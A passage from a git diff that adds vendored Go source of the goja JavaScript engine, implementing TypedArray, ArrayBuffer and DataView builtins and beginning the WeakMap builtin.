}).val + } + panic(r.NewTypeError("Method TypedArray.prototype.subarray called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) +} + +func (r *Runtime) typedArrayProto_toLocaleString(call FunctionCall) Value { + if ta, ok := r.toObject(call.This).self.(*typedArrayObject); ok { + length := ta.length + var buf StringBuilder + for i := 0; i < length; i++ { + ta.viewedArrayBuf.ensureNotDetached(true) + if i > 0 { + buf.WriteRune(',') + } + item := ta.typedArray.get(ta.offset + i) + r.writeItemLocaleString(item, &buf) + } + return buf.String() + } + panic(r.NewTypeError("Method TypedArray.prototype.toLocaleString called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) +} + +func (r *Runtime) typedArrayProto_values(call FunctionCall) Value { + if ta, ok := r.toObject(call.This).self.(*typedArrayObject); ok { + ta.viewedArrayBuf.ensureNotDetached(true) + return r.createArrayIterator(ta.val, iterationKindValue) + } + panic(r.NewTypeError("Method TypedArray.prototype.values called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) +} + +func (r *Runtime) typedArrayProto_toStringTag(call FunctionCall) Value { + if obj, ok := call.This.(*Object); ok { + if ta, ok := obj.self.(*typedArrayObject); ok { + return nilSafe(ta.defaultCtor.self.getStr("name", nil)) + } + } + + return _undefined +} + +func (r *Runtime) typedArrayProto_with(call FunctionCall) Value { + o := call.This.ToObject(r) + ta, ok := o.self.(*typedArrayObject) + if !ok { + panic(r.NewTypeError("%s is not a valid TypedArray", r.objectproto_toString(FunctionCall{This: call.This}))) + } + ta.viewedArrayBuf.ensureNotDetached(true) + length := ta.length + relativeIndex := call.Argument(0).ToInteger() + var actualIndex int + + if relativeIndex >= 0 { + actualIndex = toIntStrict(relativeIndex) + } else { + actualIndex = toIntStrict(int64(length) + relativeIndex) + } + if !ta.isValidIntegerIndex(actualIndex) { + panic(r.newError(r.getRangeError(), "Invalid typed array index")) + } + + var numericValue Value + switch ta.typedArray.(type) { + case *bigInt64Array, *bigUint64Array: + numericValue = toBigInt(call.Argument(1)) + default: + numericValue = call.Argument(1).ToNumber() + } + + a := r.typedArrayCreate(ta.defaultCtor, intToValue(int64(length))) + for k := 0; k < length; k++ { + var fromValue Value + if k == actualIndex { + fromValue = numericValue + } else { + fromValue = ta.typedArray.get(ta.offset + k) + } + a.typedArray.set(ta.offset+k, fromValue) + } + return a.val +} + +func (r *Runtime) typedArrayProto_toReversed(call FunctionCall) Value { + o := call.This.ToObject(r) + ta, ok := o.self.(*typedArrayObject) + if !ok { + panic(r.NewTypeError("%s is not a valid TypedArray", r.objectproto_toString(FunctionCall{This: call.This}))) + } + ta.viewedArrayBuf.ensureNotDetached(true) + length := ta.length + + a := r.typedArrayCreate(ta.defaultCtor, intToValue(int64(length))) + + for k := 0; k < length; k++ { + from := length - k - 1 + fromValue := ta.typedArray.get(ta.offset + from) + a.typedArray.set(ta.offset+k, fromValue) + } + + return a.val +} + +func (r *Runtime) typedArrayProto_toSorted(call FunctionCall) Value { + o := call.This.ToObject(r) + ta, ok := o.self.(*typedArrayObject) + if !ok { + panic(r.NewTypeError("%s is not a valid TypedArray", r.objectproto_toString(FunctionCall{This: call.This}))) + } + ta.viewedArrayBuf.ensureNotDetached(true) + + var compareFn func(FunctionCall) Value + arg := call.Argument(0) + if arg != _undefined { + if arg, ok := arg.(*Object); ok { + compareFn, _ = arg.self.assertCallable() + } + if compareFn == nil { + panic(r.NewTypeError("The comparison function must be either a function or undefined")) + } + } + + length := ta.length + + a := r.typedArrayCreate(ta.defaultCtor, intToValue(int64(length))) + copy(a.viewedArrayBuf.data, ta.viewedArrayBuf.data) + + ctx := typedArraySortCtx{ + ta: a, + compare: compareFn, + } + + sort.Stable(&ctx) + + return a.val +} + +func (r *Runtime) newTypedArray([]Value, *Object) *Object { + panic(r.NewTypeError("Abstract class TypedArray not directly constructable")) +} + +func (r *Runtime) typedArray_from(call FunctionCall) Value { + c := r.toObject(call.This) + var mapFc func(call FunctionCall) Value + thisValue := call.Argument(2) + if mapFn := call.Argument(1); mapFn != _undefined { + mapFc = r.toCallable(mapFn) + } + source := r.toObject(call.Argument(0)) + usingIter := toMethod(source.self.getSym(SymIterator, nil)) + if usingIter != nil { + values := r.iterableToList(source, usingIter) + ta := r.typedArrayCreate(c, intToValue(int64(len(values)))) + if mapFc == nil { + for idx, val := range values { + ta.typedArray.set(idx, val) + } + } else { + fc := FunctionCall{ + This: thisValue, + Arguments: []Value{nil, nil}, + } + for idx, val := range values { + fc.Arguments[0], fc.Arguments[1] = val, intToValue(int64(idx)) + val = mapFc(fc) + ta._putIdx(idx, val) + } + } + return ta.val + } + length := toIntStrict(toLength(source.self.getStr("length", nil))) + ta := r.typedArrayCreate(c, intToValue(int64(length))) + if mapFc == nil { + for i := 0; i < length; i++ { + ta.typedArray.set(i, nilSafe(source.self.getIdx(valueInt(i), nil))) + } + } else { + fc := FunctionCall{ + This: thisValue, + Arguments: []Value{nil, nil}, + } + for i := 0; i < length; i++ { + idx := valueInt(i) + fc.Arguments[0], fc.Arguments[1] = source.self.getIdx(idx, nil), idx + ta.typedArray.set(i, mapFc(fc)) + } + } + return ta.val +} + +func (r *Runtime) typedArray_of(call FunctionCall) Value { + ta := r.typedArrayCreate(r.toObject(call.This), intToValue(int64(len(call.Arguments)))) + for i, val := range call.Arguments { + ta.typedArray.set(i, val) + } + return ta.val +} + +func (r *Runtime) allocateTypedArray(newTarget *Object, length int, taCtor typedArrayObjectCtor, proto *Object) *typedArrayObject { + buf := r._newArrayBuffer(r.getArrayBufferPrototype(), nil) + ta := taCtor(buf, 0, length, r.getPrototypeFromCtor(newTarget, nil, proto)) + if length > 0 { + buf.data = allocByteSlice(length * ta.elemSize) + } + return ta +} + +func (r *Runtime) typedArraySpeciesCreate(ta *typedArrayObject, args []Value) *typedArrayObject { + return r.typedArrayCreate(r.speciesConstructorObj(ta.val, ta.defaultCtor), args...) +} + +func (r *Runtime) typedArrayCreate(ctor *Object, args ...Value) *typedArrayObject { + o := r.toConstructor(ctor)(args, ctor) + if ta, ok := o.self.(*typedArrayObject); ok { + ta.viewedArrayBuf.ensureNotDetached(true) + if len(args) == 1 { + if l, ok := args[0].(valueInt); ok { + if ta.length < int(l) { + panic(r.NewTypeError("Derived TypedArray constructor created an array which was too small")) + } + } + } + return ta + } + panic(r.NewTypeError("Invalid TypedArray: %s", o)) +} + +func (r *Runtime) typedArrayFrom(ctor, items *Object, mapFn, thisValue Value, taCtor typedArrayObjectCtor, proto *Object) *Object { + var mapFc func(call FunctionCall) Value + if mapFn != nil { + mapFc = r.toCallable(mapFn) + if thisValue == nil { + thisValue = _undefined + } + } + usingIter := toMethod(items.self.getSym(SymIterator, nil)) + if usingIter != nil { + values := r.iterableToList(items, usingIter) + ta := r.allocateTypedArray(ctor, len(values), taCtor, proto) + if mapFc == nil { + for idx, val := range values { + ta.typedArray.set(idx, val) + } + } else { + fc := FunctionCall{ + This: thisValue, + Arguments: []Value{nil, nil}, + } + for idx, val := range values { + fc.Arguments[0], fc.Arguments[1] = val, intToValue(int64(idx)) + val = mapFc(fc) + ta.typedArray.set(idx, val) + } + } + return ta.val + } + length := toIntStrict(toLength(items.self.getStr("length", nil))) + ta := r.allocateTypedArray(ctor, length, taCtor, proto) + if mapFc == nil { + for i := 0; i < length; i++ { + ta.typedArray.set(i, nilSafe(items.self.getIdx(valueInt(i), nil))) + } + } else { + fc := FunctionCall{ + This: thisValue, + Arguments: []Value{nil, nil}, + } + for i := 0; i < length; i++ { + idx := valueInt(i) + fc.Arguments[0], fc.Arguments[1] = items.self.getIdx(idx, nil), idx + ta.typedArray.set(i, mapFc(fc)) + } + } + return ta.val +} + +func (r *Runtime) _newTypedArrayFromArrayBuffer(ab *arrayBufferObject, args []Value, newTarget *Object, taCtor typedArrayObjectCtor, proto *Object) *Object { + ta := taCtor(ab, 0, 0, r.getPrototypeFromCtor(newTarget, nil, proto)) + var byteOffset int + if len(args) > 1 && args[1] != nil && args[1] != _undefined { + byteOffset = r.toIndex(args[1]) + if byteOffset%ta.elemSize != 0 { + panic(r.newError(r.getRangeError(), "Start offset of %s should be a multiple of %d", newTarget.self.getStr("name", nil), ta.elemSize)) + } + } + var length int + if len(args) > 2 && args[2] != nil && args[2] != _undefined { + length = r.toIndex(args[2]) + ab.ensureNotDetached(true) + if byteOffset+length*ta.elemSize > len(ab.data) { + panic(r.newError(r.getRangeError(), "Invalid typed array length: %d", length)) + } + } else { + ab.ensureNotDetached(true) + if len(ab.data)%ta.elemSize != 0 { + panic(r.newError(r.getRangeError(), "Byte length of %s should be a multiple of %d", newTarget.self.getStr("name", nil), ta.elemSize)) + } + length = (len(ab.data) - byteOffset) / ta.elemSize + if length < 0 { + panic(r.newError(r.getRangeError(), "Start offset %d is outside the bounds of the buffer", byteOffset)) + } + } + ta.offset = byteOffset / ta.elemSize + ta.length = length + return ta.val +} + +func checkTypedArrayMixBigInt(src, dst *Object) { + srcType := src.self.getStr("name", nil).String() + if strings.HasPrefix(srcType, "Big") { + if !strings.HasPrefix(dst.self.getStr("name", nil).String(), "Big") { + panic(errMixBigIntType) + } + } +} + +func (r *Runtime) _newTypedArrayFromTypedArray(src *typedArrayObject, newTarget *Object, taCtor typedArrayObjectCtor, proto *Object) *Object { + dst := r.allocateTypedArray(newTarget, 0, taCtor, proto) + src.viewedArrayBuf.ensureNotDetached(true) + l := src.length + + dst.viewedArrayBuf.data = allocByteSlice(toIntStrict(int64(l) * int64(dst.elemSize))) + src.viewedArrayBuf.ensureNotDetached(true) + if src.defaultCtor == dst.defaultCtor { + copy(dst.viewedArrayBuf.data, src.viewedArrayBuf.data[src.offset*src.elemSize:]) + dst.length = src.length + return dst.val + } else { + checkTypedArrayMixBigInt(src.defaultCtor, newTarget) + } + dst.length = l + for i := 0; i < l; i++ { + dst.typedArray.set(i, src.typedArray.get(src.offset+i)) + } + return dst.val +} + +func (r *Runtime) _newTypedArray(args []Value, newTarget *Object, taCtor typedArrayObjectCtor, proto *Object) *Object { + if newTarget == nil { + panic(r.needNew("TypedArray")) + } + if len(args) > 0 { + if obj, ok := args[0].(*Object); ok { + switch o := obj.self.(type) { + case *arrayBufferObject: + return r._newTypedArrayFromArrayBuffer(o, args, newTarget, taCtor, proto) + case *typedArrayObject: + return r._newTypedArrayFromTypedArray(o, newTarget, taCtor, proto) + default: + return r.typedArrayFrom(newTarget, obj, nil, nil, taCtor, proto) + } + } + } + var l int + if len(args) > 0 { + if arg0 := args[0]; arg0 != nil { + l = r.toIndex(arg0) + } + } + return r.allocateTypedArray(newTarget, l, taCtor, proto).val +} + +func (r *Runtime) newUint8Array(args []Value, newTarget, proto *Object) *Object { + return r._newTypedArray(args, newTarget, r.newUint8ArrayObject, proto) +} + +func (r *Runtime) newUint8ClampedArray(args []Value, newTarget, proto *Object) *Object { + return r._newTypedArray(args, newTarget, r.newUint8ClampedArrayObject, proto) +} + +func (r *Runtime) newInt8Array(args []Value, newTarget, proto *Object) *Object { + return r._newTypedArray(args, newTarget, r.newInt8ArrayObject, proto) +} + +func (r *Runtime) newUint16Array(args []Value, newTarget, proto *Object) *Object { + return r._newTypedArray(args, newTarget, r.newUint16ArrayObject, proto) +} + +func (r *Runtime) newInt16Array(args []Value, newTarget, proto *Object) *Object { + return r._newTypedArray(args, newTarget, r.newInt16ArrayObject, proto) +} + +func (r *Runtime) newUint32Array(args []Value, newTarget, proto *Object) *Object { + return r._newTypedArray(args, newTarget, r.newUint32ArrayObject, proto) +} + +func (r *Runtime) newInt32Array(args []Value, newTarget, proto *Object) *Object { + return r._newTypedArray(args, newTarget, r.newInt32ArrayObject, proto) +} + +func (r *Runtime) newFloat32Array(args []Value, newTarget, proto *Object) *Object { + return r._newTypedArray(args, newTarget, r.newFloat32ArrayObject, proto) +} + +func (r *Runtime) newFloat64Array(args []Value, newTarget, proto *Object) *Object { + return r._newTypedArray(args, newTarget, r.newFloat64ArrayObject, proto) +} + +func (r *Runtime) newBigInt64Array(args []Value, newTarget, proto *Object) *Object { + return r._newTypedArray(args, newTarget, r.newBigInt64ArrayObject, proto) +} + +func (r *Runtime) newBigUint64Array(args []Value, newTarget, proto *Object) *Object { + return r._newTypedArray(args, newTarget, r.newBigUint64ArrayObject, proto) +} + +func (r *Runtime) createArrayBufferProto(val *Object) objectImpl { + b := newBaseObjectObj(val, r.global.ObjectPrototype, classObject) + byteLengthProp := &valueProperty{ + accessor: true, + configurable: true, + getterFunc: r.newNativeFunc(r.arrayBufferProto_getByteLength, "get byteLength", 0), + } + b._put("byteLength", byteLengthProp) + b._putProp("constructor", r.getArrayBuffer(), true, false, true) + b._putProp("slice", r.newNativeFunc(r.arrayBufferProto_slice, "slice", 2), true, false, true) + b._putSym(SymToStringTag, valueProp(asciiString("ArrayBuffer"), false, false, true)) + return b +} + +func (r *Runtime) createArrayBuffer(val *Object) objectImpl { + o := r.newNativeConstructOnly(val, r.builtin_newArrayBuffer, r.getArrayBufferPrototype(), "ArrayBuffer", 1) + o._putProp("isView", r.newNativeFunc(r.arrayBuffer_isView, "isView", 1), true, false, true) + r.putSpeciesReturnThis(o) + + return o +} + +func (r *Runtime) createDataView(val *Object) objectImpl { + o := r.newNativeConstructOnly(val, r.newDataView, r.getDataViewPrototype(), "DataView", 1) + return o +} + +func (r *Runtime) createTypedArray(val *Object) objectImpl { + o := r.newNativeConstructOnly(val, r.newTypedArray, r.getTypedArrayPrototype(), "TypedArray", 0) + o._putProp("from", r.newNativeFunc(r.typedArray_from, "from", 1), true, false, true) + o._putProp("of", r.newNativeFunc(r.typedArray_of, "of", 0), true, false, true) + r.putSpeciesReturnThis(o) + + return o +} + +func (r *Runtime) getTypedArray() *Object { + ret := r.global.TypedArray + if ret == nil { + ret = &Object{runtime: r} + r.global.TypedArray = ret + r.createTypedArray(ret) + } + return ret +} + +func (r *Runtime) createTypedArrayCtor(val *Object, ctor func(args []Value, newTarget, proto *Object) *Object, name unistring.String, bytesPerElement int) { + p := r.newBaseObject(r.getTypedArrayPrototype(), classObject) + o := r.newNativeConstructOnly(val, func(args []Value, newTarget *Object) *Object { + return ctor(args, newTarget, p.val) + }, p.val, name, 3) + + p._putProp("constructor", o.val, true, false, true) + + o.prototype = r.getTypedArray() + bpe := intToValue(int64(bytesPerElement)) + o._putProp("BYTES_PER_ELEMENT", bpe, false, false, false) + p._putProp("BYTES_PER_ELEMENT", bpe, false, false, false) +} + +func addTypedArrays(t *objectTemplate) { + t.putStr("ArrayBuffer", func(r *Runtime) Value { return valueProp(r.getArrayBuffer(), true, false, true) }) + t.putStr("DataView", func(r *Runtime) Value { return valueProp(r.getDataView(), true, false, true) }) + t.putStr("Uint8Array", func(r *Runtime) Value { return valueProp(r.getUint8Array(), true, false, true) }) + t.putStr("Uint8ClampedArray", func(r *Runtime) Value { return valueProp(r.getUint8ClampedArray(), true, false, true) }) + t.putStr("Int8Array", func(r *Runtime) Value { return valueProp(r.getInt8Array(), true, false, true) }) + t.putStr("Uint16Array", func(r *Runtime) Value { return valueProp(r.getUint16Array(), true, false, true) }) + t.putStr("Int16Array", func(r *Runtime) Value { return valueProp(r.getInt16Array(), true, false, true) }) + t.putStr("Uint32Array", func(r *Runtime) Value { return valueProp(r.getUint32Array(), true, false, true) }) + t.putStr("Int32Array", func(r *Runtime) Value { return valueProp(r.getInt32Array(), true, false, true) }) + t.putStr("Float32Array", func(r *Runtime) Value { return valueProp(r.getFloat32Array(), true, false, true) }) + t.putStr("Float64Array", func(r *Runtime) Value { return valueProp(r.getFloat64Array(), true, false, true) }) + t.putStr("BigInt64Array", func(r *Runtime) Value { return valueProp(r.getBigInt64Array(), true, false, true) }) + t.putStr("BigUint64Array", func(r *Runtime) Value { return valueProp(r.getBigUint64Array(), true, false, true) }) +} + +func createTypedArrayProtoTemplate() *objectTemplate { + t := newObjectTemplate() + t.protoFactory = func(r *Runtime) *Object { + return r.global.ObjectPrototype + } + + t.putStr("buffer", func(r *Runtime) Value { + return &valueProperty{ + accessor: true, + configurable: true, + getterFunc: r.newNativeFunc(r.typedArrayProto_getBuffer, "get buffer", 0), + } + }) + + t.putStr("byteLength", func(r *Runtime) Value { + return &valueProperty{ + accessor: true, + configurable: true, + getterFunc: r.newNativeFunc(r.typedArrayProto_getByteLen, "get byteLength", 0), + } + }) + + t.putStr("byteOffset", func(r *Runtime) Value { + return &valueProperty{ + accessor: true, + configurable: true, + getterFunc: r.newNativeFunc(r.typedArrayProto_getByteOffset, "get byteOffset", 0), + } + }) + + t.putStr("at", func(r *Runtime) Value { return r.methodProp(r.typedArrayProto_at, "at", 1) }) + t.putStr("constructor", func(r *Runtime) Value { return valueProp(r.getTypedArray(), true, false, true) }) + t.putStr("copyWithin", func(r *Runtime) Value { return r.methodProp(r.typedArrayProto_copyWithin, "copyWithin", 2) }) + t.putStr("entries", func(r *Runtime) Value { return r.methodProp(r.typedArrayProto_entries, "entries", 0) }) + t.putStr("every", func(r *Runtime) Value { return r.methodProp(r.typedArrayProto_every, "every", 1) }) + t.putStr("fill", func(r *Runtime) Value { return r.methodProp(r.typedArrayProto_fill, "fill", 1) }) + t.putStr("filter", func(r *Runtime) Value { return r.methodProp(r.typedArrayProto_filter, "filter", 1) }) + t.putStr("find", func(r *Runtime) Value { return r.methodProp(r.typedArrayProto_find, "find", 1) }) + t.putStr("findIndex", func(r *Runtime) Value { return r.methodProp(r.typedArrayProto_findIndex, "findIndex", 1) }) + t.putStr("findLast", func(r *Runtime) Value { return r.methodProp(r.typedArrayProto_findLast, "findLast", 1) }) + t.putStr("findLastIndex", func(r *Runtime) Value { return r.methodProp(r.typedArrayProto_findLastIndex, "findLastIndex", 1) }) + t.putStr("forEach", func(r *Runtime) Value { return r.methodProp(r.typedArrayProto_forEach, "forEach", 1) }) + t.putStr("includes", func(r *Runtime) Value { return r.methodProp(r.typedArrayProto_includes, "includes", 1) }) + t.putStr("indexOf", func(r *Runtime) Value { return r.methodProp(r.typedArrayProto_indexOf, "indexOf", 1) }) + t.putStr("join", func(r *Runtime) Value { return r.methodProp(r.typedArrayProto_join, "join", 1) }) + t.putStr("keys", func(r *Runtime) Value { return r.methodProp(r.typedArrayProto_keys, "keys", 0) }) + t.putStr("lastIndexOf", func(r *Runtime) Value { return r.methodProp(r.typedArrayProto_lastIndexOf, "lastIndexOf", 1) }) + t.putStr("length", func(r *Runtime) Value { + return &valueProperty{ + accessor: true, + configurable: true, + getterFunc: r.newNativeFunc(r.typedArrayProto_getLength, "get length", 0), + } + }) + t.putStr("map", func(r *Runtime) Value { return r.methodProp(r.typedArrayProto_map, "map", 1) }) + t.putStr("reduce", func(r *Runtime) Value { return r.methodProp(r.typedArrayProto_reduce, "reduce", 1) }) + t.putStr("reduceRight", func(r *Runtime) Value { return r.methodProp(r.typedArrayProto_reduceRight, "reduceRight", 1) }) + t.putStr("reverse", func(r *Runtime) Value { return r.methodProp(r.typedArrayProto_reverse, "reverse", 0) }) + t.putStr("set", func(r *Runtime) Value { return r.methodProp(r.typedArrayProto_set, "set", 1) }) + t.putStr("slice", func(r *Runtime) Value { return r.methodProp(r.typedArrayProto_slice, "slice", 2) }) + t.putStr("some", func(r *Runtime) Value { return r.methodProp(r.typedArrayProto_some, "some", 1) }) + t.putStr("sort", func(r *Runtime) Value { return r.methodProp(r.typedArrayProto_sort, "sort", 1) }) + t.putStr("subarray", func(r *Runtime) Value { return r.methodProp(r.typedArrayProto_subarray, "subarray", 2) }) + t.putStr("toLocaleString", func(r *Runtime) Value { return r.methodProp(r.typedArrayProto_toLocaleString, "toLocaleString", 0) }) + t.putStr("with", func(r *Runtime) Value { return r.methodProp(r.typedArrayProto_with, "with", 2) }) + t.putStr("toReversed", func(r *Runtime) Value { return r.methodProp(r.typedArrayProto_toReversed, "toReversed", 0) }) + t.putStr("toSorted", func(r *Runtime) Value { return r.methodProp(r.typedArrayProto_toSorted, "toSorted", 1) }) + t.putStr("toString", func(r *Runtime) Value { return valueProp(r.getArrayToString(), true, false, true) }) + t.putStr("values", func(r *Runtime) Value { return valueProp(r.getTypedArrayValues(), true, false, true) }) + + t.putSym(SymIterator, func(r *Runtime) Value { return valueProp(r.getTypedArrayValues(), true, false, true) }) + t.putSym(SymToStringTag, func(r *Runtime) Value { + return &valueProperty{ + getterFunc: r.newNativeFunc(r.typedArrayProto_toStringTag, "get [Symbol.toStringTag]", 0), + accessor: true, + configurable: true, + } + }) + + return t +} + +func (r *Runtime) getTypedArrayValues() *Object { + ret := r.global.typedArrayValues + if ret == nil { + ret = r.newNativeFunc(r.typedArrayProto_values, "values", 0) + r.global.typedArrayValues = ret + } + return ret +} + +var typedArrayProtoTemplate *objectTemplate +var typedArrayProtoTemplateOnce sync.Once + +func getTypedArrayProtoTemplate() *objectTemplate { + typedArrayProtoTemplateOnce.Do(func() { + typedArrayProtoTemplate = createTypedArrayProtoTemplate() + }) + return typedArrayProtoTemplate +} + +func (r *Runtime) getTypedArrayPrototype() *Object { + ret := r.global.TypedArrayPrototype + if ret == nil { + ret = &Object{runtime: r} + r.global.TypedArrayPrototype = ret + r.newTemplatedObject(getTypedArrayProtoTemplate(), ret) + } + return ret +} + +func (r *Runtime) getUint8Array() *Object { + ret := r.global.Uint8Array + if ret == nil { + ret = &Object{runtime: r} + r.global.Uint8Array = ret + r.createTypedArrayCtor(ret, r.newUint8Array, "Uint8Array", 1) + } + return ret +} + +func (r *Runtime) getUint8ClampedArray() *Object { + ret := r.global.Uint8ClampedArray + if ret == nil { + ret = &Object{runtime: r} + r.global.Uint8ClampedArray = ret + r.createTypedArrayCtor(ret, r.newUint8ClampedArray, "Uint8ClampedArray", 1) + } + return ret +} + +func (r *Runtime) getInt8Array() *Object { + ret := r.global.Int8Array + if ret == nil { + ret = &Object{runtime: r} + r.global.Int8Array = ret + r.createTypedArrayCtor(ret, r.newInt8Array, "Int8Array", 1) + } + return ret +} + +func (r *Runtime) getUint16Array() *Object { + ret := r.global.Uint16Array + if ret == nil { + ret = &Object{runtime: r} + r.global.Uint16Array = ret + r.createTypedArrayCtor(ret, r.newUint16Array, "Uint16Array", 2) + } + return ret +} + +func (r *Runtime) getInt16Array() *Object { + ret := r.global.Int16Array + if ret == nil { + ret = &Object{runtime: r} + r.global.Int16Array = ret + r.createTypedArrayCtor(ret, r.newInt16Array, "Int16Array", 2) + } + return ret +} + +func (r *Runtime) getUint32Array() *Object { + ret := r.global.Uint32Array + if ret == nil { + ret = &Object{runtime: r} + r.global.Uint32Array = ret + r.createTypedArrayCtor(ret, r.newUint32Array, "Uint32Array", 4) + } + return ret +} + +func (r *Runtime) getInt32Array() *Object { + ret := r.global.Int32Array + if ret == nil { + ret = &Object{runtime: r} + r.global.Int32Array = ret + r.createTypedArrayCtor(ret, r.newInt32Array, "Int32Array", 4) + } + return ret +} + +func (r *Runtime) getFloat32Array() *Object { + ret := r.global.Float32Array + if ret == nil { + ret = &Object{runtime: r} + r.global.Float32Array = ret + r.createTypedArrayCtor(ret, r.newFloat32Array, "Float32Array", 4) + } + return ret +} + +func (r *Runtime) getFloat64Array() *Object { + ret := r.global.Float64Array + if ret == nil { + ret = &Object{runtime: r} + r.global.Float64Array = ret + r.createTypedArrayCtor(ret, r.newFloat64Array, "Float64Array", 8) + } + return ret +} + +func (r *Runtime) getBigInt64Array() *Object { + ret := r.global.BigInt64Array + if ret == nil { + ret = &Object{runtime: r} + r.global.BigInt64Array = ret + r.createTypedArrayCtor(ret, r.newBigInt64Array, "BigInt64Array", 8) + } + return ret +} + +func (r *Runtime) getBigUint64Array() *Object { + ret := r.global.BigUint64Array + if ret == nil { + ret = &Object{runtime: r} + r.global.BigUint64Array = ret + r.createTypedArrayCtor(ret, r.newBigUint64Array, "BigUint64Array", 8) + } + return ret +} + +func createDataViewProtoTemplate() *objectTemplate { + t := newObjectTemplate() + t.protoFactory = func(r *Runtime) *Object { + return r.global.ObjectPrototype + } + + t.putStr("buffer", func(r *Runtime) Value { + return &valueProperty{ + accessor: true, + configurable: true, + getterFunc: r.newNativeFunc(r.dataViewProto_getBuffer, "get buffer", 0), + } + }) + t.putStr("byteLength", func(r *Runtime) Value { + return &valueProperty{ + accessor: true, + configurable: true, + getterFunc: r.newNativeFunc(r.dataViewProto_getByteLen, "get byteLength", 0), + } + }) + t.putStr("byteOffset", func(r *Runtime) Value { + return &valueProperty{ + accessor: true, + configurable: true, + getterFunc: r.newNativeFunc(r.dataViewProto_getByteOffset, "get byteOffset", 0), + } + }) + + t.putStr("constructor", func(r *Runtime) Value { return valueProp(r.getDataView(), true, false, true) }) + + t.putStr("getFloat32", func(r *Runtime) Value { return r.methodProp(r.dataViewProto_getFloat32, "getFloat32", 1) }) + t.putStr("getFloat64", func(r *Runtime) Value { return r.methodProp(r.dataViewProto_getFloat64, "getFloat64", 1) }) + t.putStr("getInt8", func(r *Runtime) Value { return r.methodProp(r.dataViewProto_getInt8, "getInt8", 1) }) + t.putStr("getInt16", func(r *Runtime) Value { return r.methodProp(r.dataViewProto_getInt16, "getInt16", 1) }) + t.putStr("getInt32", func(r *Runtime) Value { return r.methodProp(r.dataViewProto_getInt32, "getInt32", 1) }) + t.putStr("getUint8", func(r *Runtime) Value { return r.methodProp(r.dataViewProto_getUint8, "getUint8", 1) }) + t.putStr("getUint16", func(r *Runtime) Value { return r.methodProp(r.dataViewProto_getUint16, "getUint16", 1) }) + t.putStr("getUint32", func(r *Runtime) Value { return r.methodProp(r.dataViewProto_getUint32, "getUint32", 1) }) + t.putStr("getBigInt64", func(r *Runtime) Value { return r.methodProp(r.dataViewProto_getBigInt64, "getBigInt64", 1) }) + t.putStr("getBigUint64", func(r *Runtime) Value { return r.methodProp(r.dataViewProto_getBigUint64, "getBigUint64", 1) }) + t.putStr("setFloat32", func(r *Runtime) Value { return r.methodProp(r.dataViewProto_setFloat32, "setFloat32", 2) }) + t.putStr("setFloat64", func(r *Runtime) Value { return r.methodProp(r.dataViewProto_setFloat64, "setFloat64", 2) }) + t.putStr("setInt8", func(r *Runtime) Value { return r.methodProp(r.dataViewProto_setInt8, "setInt8", 2) }) + t.putStr("setInt16", func(r *Runtime) Value { return r.methodProp(r.dataViewProto_setInt16, "setInt16", 2) }) + t.putStr("setInt32", func(r *Runtime) Value { return r.methodProp(r.dataViewProto_setInt32, "setInt32", 2) }) + t.putStr("setUint8", func(r *Runtime) Value { return r.methodProp(r.dataViewProto_setUint8, "setUint8", 2) }) + t.putStr("setUint16", func(r *Runtime) Value { return r.methodProp(r.dataViewProto_setUint16, "setUint16", 2) }) + t.putStr("setUint32", func(r *Runtime) Value { return r.methodProp(r.dataViewProto_setUint32, "setUint32", 2) }) + t.putStr("setBigInt64", func(r *Runtime) Value { return r.methodProp(r.dataViewProto_setBigInt64, "setBigInt64", 2) }) + t.putStr("setBigUint64", func(r *Runtime) Value { return r.methodProp(r.dataViewProto_setBigUint64, "setBigUint64", 2) }) + + t.putSym(SymToStringTag, func(r *Runtime) Value { return valueProp(asciiString("DataView"), false, false, true) }) + + return t +} + +var dataViewProtoTemplate *objectTemplate +var dataViewProtoTemplateOnce sync.Once + +func getDataViewProtoTemplate() *objectTemplate { + dataViewProtoTemplateOnce.Do(func() { + dataViewProtoTemplate = createDataViewProtoTemplate() + }) + return dataViewProtoTemplate +} + +func (r *Runtime) getDataViewPrototype() *Object { + ret := r.global.DataViewPrototype + if ret == nil { + ret = &Object{runtime: r} + r.global.DataViewPrototype = ret + r.newTemplatedObject(getDataViewProtoTemplate(), ret) + } + return ret +} + +func (r *Runtime) getDataView() *Object { + ret := r.global.DataView + if ret == nil { + ret = &Object{runtime: r} + r.global.DataView = ret + ret.self = r.createDataView(ret) + } + return ret +} + +func (r *Runtime) getArrayBufferPrototype() *Object { + ret := r.global.ArrayBufferPrototype + if ret == nil { + ret = &Object{runtime: r} + r.global.ArrayBufferPrototype = ret + ret.self = r.createArrayBufferProto(ret) + } + return ret +} + +func (r *Runtime) getArrayBuffer() *Object { + ret := r.global.ArrayBuffer + if ret == nil { + ret = &Object{runtime: r} + r.global.ArrayBuffer = ret + ret.self = r.createArrayBuffer(ret) + } + return ret +} diff --git a/backend/vendor/github.com/dop251/goja/builtin_weakmap.go b/backend/vendor/github.com/dop251/goja/builtin_weakmap.go new file mode 100644 index 0000000..40fc717 --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/builtin_weakmap.go @@ -0,0 +1,176 @@ +package goja + +type weakMap uint64 + +type weakMapObject struct { + baseObject + m weakMap +} + +func (wmo *weakMapObject) init() { + wmo.baseObject.init() + wmo.m = weakMap(wmo.val.runtime.genId()) +} + +func (wm weakMap) set(key *Object, value Value) { + key.getWeakRefs()[wm] = value +} + +func (wm weakMap) get(key *Object) Value { + return key.weakRefs[wm] +} + +func (wm weakMap) remove(key *Object) bool { + if _, exists := key.weakRefs[wm]; exists { + delete(key.weakRefs, wm) + return true + } + return false +} + +func (wm weakMap) has(key *Object) bool { + _, exists := key.weakRefs[wm] + return exists +} + +func (r *Runtime) weakMapProto_delete(call FunctionCall) Value { + thisObj := r.toObject(call.This) + wmo, ok := thisObj.self.(*weakMapObject) + if !ok { + panic(r.NewTypeError("Method WeakMap.prototype.delete called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: thisObj}))) + } + key, ok := call.Argument(0).(*Object) + if ok && wmo.m.remove(key) { + return valueTrue + } + return valueFalse +} + +func (r *Runtime) weakMapProto_get(call FunctionCall) Value { + thisObj := r.toObject(call.This) + wmo, ok := thisObj.self.(*weakMapObject) + if !ok { + panic(r.NewTypeError("Method WeakMap.prototype.get called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: thisObj}))) + } + var res Value + if key, ok := call.Argument(0).(*Object); ok { + res = wmo.m.get(key) + } + if res == nil { + return 